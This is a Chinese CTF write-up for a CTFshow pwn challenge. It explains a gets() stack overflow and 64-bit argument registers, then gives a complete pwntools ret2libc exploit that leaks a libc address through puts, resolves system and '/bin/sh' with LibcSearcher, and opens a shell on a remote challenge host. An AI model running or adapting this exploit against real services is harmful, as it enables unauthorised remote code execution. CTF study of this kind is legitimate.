CTFSHOW 签到题

1.题目下载地址

点击下载题目

2. checksec检查保护

在这里插入图片描述
堆不可执行

3.IDA分析

在这里插入图片描述
看到了gets()函数,很明显存在溢出
需要知道64位系统和32位系统的区别
64 位系统传参从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9
从第7个参数开始,接下来的所有参数都才通过栈传递

4.构造ROP链

我们需要找到合适的 gadgets,利用 ROPgadget
在这里插入图片描述
addr_rdi=0x400793
addr_ret=0x40053e

  • 构造 payload 利用 puts 函数泄漏真实地址(plt 表和 got 表的延迟绑定机制)
  • 然后算出基址 libcbase,并劫持程序回到主函数以便再次利用
  • 用泄露的地址查出 libc 版本,利用 libc 和 libcbase 算出 system() 和 /bin/sh 真实地址
  • 构造 payload getshell

在这里插入图片描述
看一下src的大小是0x70

栈的字节对齐(32 位 8 字节对齐,64 位 16 字节对齐,这样对齐的目的是提高效率)
参见x86_64 Linux 运行时栈的字节对齐
对齐只需要在跳转前面来一次空的 ret

4.exp

#-*- coding: utf-8 -*-
from pwn import * #pwntools
from LibcSearcher import * #用来寻找 libc 
#context.log_level = "debug" #便于调试
p=remote('124.156.121.112',28094)
elf=ELF('pwn1') #名字和导入的 pwn 模块冲突,改成了 pwn1

main_addr=0x400687
rdi_addr=0x400793
ret_addr=0x40053e
put_plt=elf.plt['puts']
put_got=elf.got['printf']

pay='a'*(0x70+8)+p64(rdi_addr)+p64(put_got)+p64(put_plt)+p64(main_addr)
p.recvuntil('successful!')
p.sendline(pay)
p.recvuntil('joke')
put_addr=u64(p.recv(6)+'\x00\x00')
print hex(put_addr)

libc=LibcSearcher('printf',put_addr)
libcbase=put_addr-libc.dump('printf')
sys_addr=libcbase+libc.dump('system')
sh_addr=libcbase+libc.dump('str_bin_sh')

pay='a'*(0x70+8)+p64(ret_addr)+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr)
p.recvuntil('successful!')
p.sendline(pay)
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值